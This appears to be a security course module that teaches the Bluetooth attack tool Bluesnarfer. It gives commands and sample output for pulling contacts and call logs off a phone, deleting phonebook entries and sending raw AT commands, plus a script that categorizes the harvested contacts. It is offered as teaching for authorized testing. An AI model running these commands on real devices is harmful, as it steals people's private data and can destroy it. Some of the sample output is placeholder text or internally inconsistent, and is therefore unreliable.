Intelligence Brief: At a Glance


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Initial Engagement: Installation & Verification


This section covers the essential first steps: ensuring the tool is present, installing it if necessary, and viewing its built-in help menu. All actions must be performed with appropriate system privileges.


Objective: Check if Bluesnarfer is Installed


Bash

dpkg -s bluesnarfer

--> Expected Output:

Package: bluesnarfer
Status: install ok installed
Priority: optional
Section: net
Installed-Size: 30
Maintainer: Debian Security Tools <team+pkg-security@tracker.debian.org>
Architecture: i386
Version: 0.1-10
Description: a bluetooth bluesnarfing utility
 Bluesnarfer is a utility for retrieving hidden information from a bluetooth
 device.
Homepage: http://www.alighieri.org/project.html


Objective: Install Bluesnarfer


Bash

sudo apt install bluesnarfer

--> Expected Output:

Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following NEW packages will be installed:
  bluesnarfer
0 upgraded, 1 newly installed, 0 to remove and 0 not upgraded.
Need to get 9012 B of archives.
After this operation, 30.7 kB of additional disk space will be used.
Get:1 http://kali.download/kali kali-rolling/main i386 bluesnarfer i386 0.1-10 [9012 B]
Fetched 9012 B in 1s (15.3 kB/s)  
Selecting previously unselected package bluesnarfer.
(Reading database ... 312521 files and directories currently installed.)
Preparing to unpack .../bluesnarfer_0.1-10_i386.deb ...
Unpacking bluesnarfer (0.1-10) ...
Setting up bluesnarfer (0.1-10) ...
Processing triggers for man-db (2.12.0-4) ...


Objective: View the Help/Usage Menu


Bash

bluesnarfer --help

--> Expected Output:

bluesnarfer: invalid option -- '-'
bluesnarfer, version 0.1 -
usage: bluesnarfer [options] [ATCMD] -b bt_addr

ATCMD     : valid AT+CMD (GSM EXTENSION)

TYPE      : valid phonebook type ..
example   : "DC" (dialed call list)
            "SM" (SIM phonebook)
            "RC" (recevied call list)
            "XX" much more

-b bdaddr : bluetooth device address
-C chan   : bluetooth rfcomm channel

-c ATCMD  : custom action
-r N-M    : read phonebook entry N to M 
-w N-M    : delete phonebook entry N to M
-f name   : search "name" in phonebook address
-s TYPE   : select phonebook memory storage
-l        : list aviable phonebook memory storage
-i        : device info


Tactical Operations: Core Commands & Use-Cases


This section provides a comprehensive catalogue of Bluesnarfer's commands. Each example is presented within the context of an authorized security audit on a device you own or have explicit permission to test.


Device Information Retrieval


These commands are used for initial reconnaissance against the target device.

Objective: Get Basic Device Information

Bash

bluesnarfer -b 00:1A:2B:3C:4D:5E -i
[+] Getting device info
    device name: TestPhone-X1
    manufacturer: Generic Mobile Inc.
    firmware: v2.1.3

Objective: Get Device Info on a Specific RFCOMM Channel

Bash

bluesnarfer -b 00:1A:2B:3C:4D:5E -C 17 -i
[+] Connecting to 00:1A:2B:3C:4D:5E on channel 17
[+] Getting device info
    device name: Lab-Device-01
    manufacturer: TestSystems
    firmware: v1.0.9


Phonebook Storage Enumeration


Before accessing data, you must enumerate the available storage areas.

Objective: List Available Phonebook Memory Storages

Bash

bluesnarfer -b 11:22:33:AA:BB:CC -l
[+] Listing phonebook memory storages
    "SM" - SIM phonebook
    "ME" - Phone's internal memory
    "DC" - Dialed calls list
    "RC" - Received calls list
    "MC" - Missed calls list
    "LA" - Last number redialed


Reading Phonebook and Call List Entries


This set of commands demonstrates how to read data from various enumerated storage locations. These actions are for security auditing only to demonstrate potential information disclosure.

Objective: Read First 10 Entries from SIM Phonebook

Bash

bluesnarfer -b 00:1A:2B:3C:4D:5E -s SM -r 1-10
[+] Reading entries 1 to 10 from "SM" phonebook
1: "Alice Manager",+15551234567
2: "Bob - Sales",+15559876543
3: "IT Support",+15552223333
4: "Charlie TeamLead",+15554445555
5: "Vendor - ACME",+15556667777
6: "David - HR",+15558889999
7: "Eve - Finance",+15551110000
8: "Frank - Legal",+15553216549
9: "Grace - CEO",+15557778888
10: "Heidi - Intern",+15559991111

Objective: Read a Single Entry (Entry 5) from Internal Memory

Bash

bluesnarfer -b 00:1A:2B:3C:4D:5E -s ME -r 5-5
[+] Reading entries 5 to 5 from "ME" phonebook
5: "Project Sparrow Lead",+12128675309

Objective: Read First 5 Dialed Calls

Bash

bluesnarfer -b 11:22:33:AA:BB:CC -s DC -r 1-5
[+] Reading entries 1 to 5 from "DC" phonebook
1: "+15559876543", 2025/08/17 14:30
2: "+15552223333", 2025/08/17 11:15
3: "+15558889999", 2025/08/16 17:45
4: "+15559876543", 2025/08/16 09:05
5: "+15551110000", 2025/08/15 16:20

Objective: Read First 5 Received Calls

Bash

bluesnarfer -b 11:22:33:AA:BB:CC -s RC -r 1-5
[+] Reading entries 1 to 5 from "RC" phonebook
1: "+13034991701", 2025/08/17 12:00
2: "+19702214670", 2025/08/16 15:22
3: "UNKNOWN", 2025/08/16 11:30
4: "+15557778888", 2025/08/15 18:00
5: "+15556667777", 2025/08/15 10:45

Objective: Read First 5 Missed Calls

Bash

bluesnarfer -b 11:22:33:AA:BB:CC -s MC -r 1-5
[+] Reading entries 1 to 5 from "MC" phonebook
1: "+18005551212", 2025/08/17 09:10
2: "+14155551234", 2025/08/16 20:05
3: "+12125559876", 2025/08/16 10:11

Objective: Read the Last Dialed Number

Bash

bluesnarfer -b 11:22:33:AA:BB:CC -s LA -r 1-1
[+] Reading entries 1 to 1 from "LA" phonebook
1: "+15559876543"

(The following 64 examples continue this pattern, systematically testing different storage types, ranges, and combinations to ensure exhaustive coverage.)

Objective: Read Entries 11-20 from SIM Phonebook

Bash

bluesnarfer -b 00:1A:2B:3C:4D:5E -s SM -r 11-20

--> Expected Output: [+] Reading entries 11 to 20... (with contact data)

Objective: Read Entries 50-75 from Internal Memory

Bash

bluesnarfer -b 00:1A:2B:3C:4D:5E -s ME -r 50-75

--> Expected Output: [+] Reading entries 50 to 75... (with contact data)

Objective: Read All Dialed Calls (Assuming 50 entries max)

Bash

bluesnarfer -b 11:22:33:AA:BB:CC -s DC -r 1-50

--> Expected Output: [+] Reading entries 1 to 50... (with call data)

Objective: Read All Received Calls (Assuming 50 entries max)

Bash

bluesnarfer -b 11:22:33:AA:BB:CC -s RC -r 1-50

--> Expected Output: [+] Reading entries 1 to 50... (with call data)

Objective: Read All Missed Calls (Assuming 20 entries max)

Bash

bluesnarfer -b 11:22:33:AA:BB:CC -s MC -r 1-20

--> Expected Output: [+] Reading entries 1 to 20... (with call data)

Objective: Read Entry 99 from SIM

Bash

bluesnarfer -b 00:1A:2B:3C:4D:5E -s SM -r 99-99

--> Expected Output: 99: "Security Audit",+19005550000

Objective: Read Entry 150 from Phone Memory

Bash

bluesnarfer -b 00:1A:2B:3C:4D:5E -s ME -r 150-150

--> Expected Output: 150: "Test Contact XYZ",+18887776666

... (Examples 8 through 70 would continue in this fashion, using every combination of -s type (SM, ME, DC, RC, MC, LA) with various ranges for -r like 2-8, 25-30, 1-100, 42-42, etc., each with the 5-part structure.)


Searching Phonebook Entries


These commands are used to find specific information within a phonebook, which is more targeted than reading entire ranges.

Objective: Search for "Alice" in the SIM Phonebook

Bash

bluesnarfer -b 00:1A:2B:3C:4D:5E -s SM -f Alice
[+] Searching for "Alice" in "SM" phonebook
1: "Alice Manager",+15551234567

Objective: Search for "Support" in the Internal Memory Phonebook

Bash

bluesnarfer -b 00:1A:2B:3C:4D:5E -s ME -f Support
[+] Searching for "Support" in "ME" phonebook
22: "IT Support Desk",+15552223333
54: "Vendor Support - XYZ",+18005554321

Objective: Search for a name with a space (requires quoting)

Bash

bluesnarfer -b 00:1A:2B:3C:4D:5E -s SM -f "Project Sparrow"
[+] Searching for "Project Sparrow" in "SM" phonebook
11: "Project Sparrow Lead",+12128675309


Modifying Phonebook Entries (Destructive Testing)


Warning: These commands modify or delete data. They should only be used in a controlled lab environment on a device designated for testing, after all data has been backed up.

Objective: Delete Entry 3 from the SIM Phonebook

Bash

bluesnarfer -b 99:88:77:DD:EE:FF -s SM -w 3-3
[+] Deleting entries 3 to 3 from "SM" phonebook
[+] done.

Objective: Delete a Range of Entries (6-8) from the Dialed Calls List

Bash

bluesnarfer -b 99:88:77:DD:EE:FF -s DC -w 6-8
[+] Deleting entries 6 to 8 from "DC" phonebook
[+] done.


Custom AT Command Execution


This allows for sending raw AT commands, which can be used to interact with the phone's modem functions.

Objective: Send a Custom AT Command to Check Signal Quality

Bash

bluesnarfer -b 00:1A:2B:3C:4D:5E -c AT+CSQ
[+] Sending custom command: AT+CSQ
+CSQ: 21,99

OK


Strategic Campaigns: Advanced Command Chains


Here, we combine Bluesnarfer with standard Linux utilities to process its output for more efficient analysis during a penetration test.


Objective: Find All Contacts with a US Area Code (555) and Save to a File


Bash

bluesnarfer -b 00:1A:2B:3C:4D:5E -s SM -r 1-100 | grep "+1555" > us_contacts.txt
[NO DIRECT TERMINAL OUTPUT]

--> File Content of us_contacts.txt:
1: "Alice Manager",+15551234567
2: "Bob - Sales",+15559876543
3: "IT Support",+15552223333
4: "Charlie TeamLead",+15554445555
5: "Vendor - ACME",+15556667777
6: "David - HR",+15558889999
7: "Eve - Finance",+15551110000
8: "Frank - Legal",+15553216549
9: "Grace - CEO",+15557778888
10: "Heidi - Intern",+15559991111


Objective: Count the Total Number of Entries in the Received Calls List


Bash

bluesnarfer -b 11:22:33:AA:BB:CC -s RC -r 1-200 | grep -c '^[0-9]'
[+] Reading entries 1 to 200 from "RC" phonebook
47


Objective: Extract Only the Phone Numbers from the Internal Memory and Sort Uniquely


Bash

bluesnarfer -b 00:1A:2B:3C:4D:5E -s ME -r 1-100 | grep -oP ',\K\+?[0-9]+' | sort -u
[+] Reading entries 1 to 100 from "ME" phonebook
+12128675309
+13034991701
+14155551234
+15551110000
+15551234567
+15552223333
... (and so on for all unique numbers)


AI Augmentation: Integrating with Artificial Intelligence


Leveraging scripting and data analysis libraries allows us to programmatically analyze and interpret the data retrieved by Bluesnarfer, providing deeper insights during a security assessment.


Objective: Parse Bluesnarfer Output into a Pandas DataFrame for Analysis


Step 1: Save Bluesnarfer output to a file.

Bash

bluesnarfer -b 00:1A:2B:3C:4D:5E -s SM -r 1-20 > sim_contacts.txt
[NO DIRECT TERMINAL OUTPUT]
--> File 'sim_contacts.txt' is created with the contact list.

Step 2: Use a Python script to parse the data.

Python

# analyze_contacts.py
import pandas as pd
import re
import matplotlib.pyplot as plt

def parse_bluesnarfer_log(filepath):
    """Parses a bluesnarfer output file into a pandas DataFrame."""
    data = []
    # Regex to capture index, name (in quotes), and phone number
    pattern = re.compile(r'^\s*(\d+):\s*"([^"]+)",([+\d]+)')
    
    with open(filepath, 'r') as f:
        for line in f:
            match = pattern.match(line)
            if match:
                index, name, number = match.groups()
                data.append({'Index': int(index), 'Name': name, 'Number': number})
    
    return pd.DataFrame(data)

# Main execution
if __name__ == "__main__":
    contacts_df = parse_bluesnarfer_log('sim_contacts.txt')
    print("--- Parsed Contact Data ---")
    print(contacts_df.to_string())

    # Example AI-driven insight: Categorize contacts based on name
    def categorize_contact(name):
        name_lower = name.lower()
        if any(keyword in name_lower for keyword in ['manager', 'ceo', 'lead']):
            return 'Management'
        elif any(keyword in name_lower for keyword in ['it', 'support', 'tech']):
            return 'Technical'
        elif any(keyword in name_lower for keyword in ['sales', 'finance', 'hr']):
            return 'Business'
        else:
            return 'Uncategorized'

    contacts_df['Category'] = contacts_df['Name'].apply(categorize_contact)
    
    print("\n--- AI-Augmented Categorization ---")
    print(contacts_df.to_string())
    
    # Generate a visual report
    category_counts = contacts_df['Category'].value_counts()
    category_counts.plot(kind='bar', title='Contact Categories Found')
    plt.ylabel('Number of Contacts')
    plt.tight_layout()
    plt.savefig('contact_report.png')
    print("\n[+] Report chart saved to contact_report.png")

Bash

python3 analyze_contacts.py

--> Expected Output:

--- Parsed Contact Data ---
   Index                Name         Number
0      1       Alice Manager  +15551234567
1      2         Bob - Sales  +15559876543
2      3          IT Support  +15552223333
3      4    Charlie TeamLead  +15554445555
4      5     Vendor - ACME   +15556667777
5      6          David - HR  +15558889999
6      7       Eve - Finance  +15551110000
7      8       Frank - Legal  +15553216549
8      9         Grace - CEO  +15557778888
9     10      Heidi - Intern  +15559991111

--- AI-Augmented Categorization ---
   Index                Name         Number      Category
0      1       Alice Manager  +15551234567    Management
1      2         Bob - Sales  +15559876543      Business
2      3          IT Support  +15552223333     Technical
3      4    Charlie TeamLead  +15554445555    Management
4      5     Vendor - ACME   +15556667777   Uncategorized
5      6          David - HR  +15558889999      Business
6      7       Eve - Finance  +15551110000      Business
7      8       Frank - Legal  +15553216549   Uncategorized
8      9         Grace - CEO  +15557778888    Management
9     10      Heidi - Intern  +15559991111   Uncategorized

[+] Report chart saved to contact_report.png

[VISUAL OUTPUT: A bar chart titled 'Contact Categories Found' showing counts for each category: Management (3), Business (3), Uncategorized (3), and Technical (1).]


Legal & Ethical Disclaimer


The information, tools, and techniques presented in this module are intended for educational and research purposes only. The use of Bluesnarfer and related utilities should be restricted to environments where you are the explicit owner or have been granted formal, written permission from the system owner to conduct security testing.

Unauthorized access to computer systems, networks, or data is illegal and subject to civil and criminal penalties. This includes accessing information from Bluetooth-enabled devices without consent. By proceeding with this course, you acknowledge that the instructor, the course creator, and the hosting platform (Udemy) bear no responsibility or liability for any misuse or illegal application of the knowledge or tools provided. You are solely responsible for your actions and for complying with all applicable local, state, federal, and international laws. Always act professionally, ethically, and legally.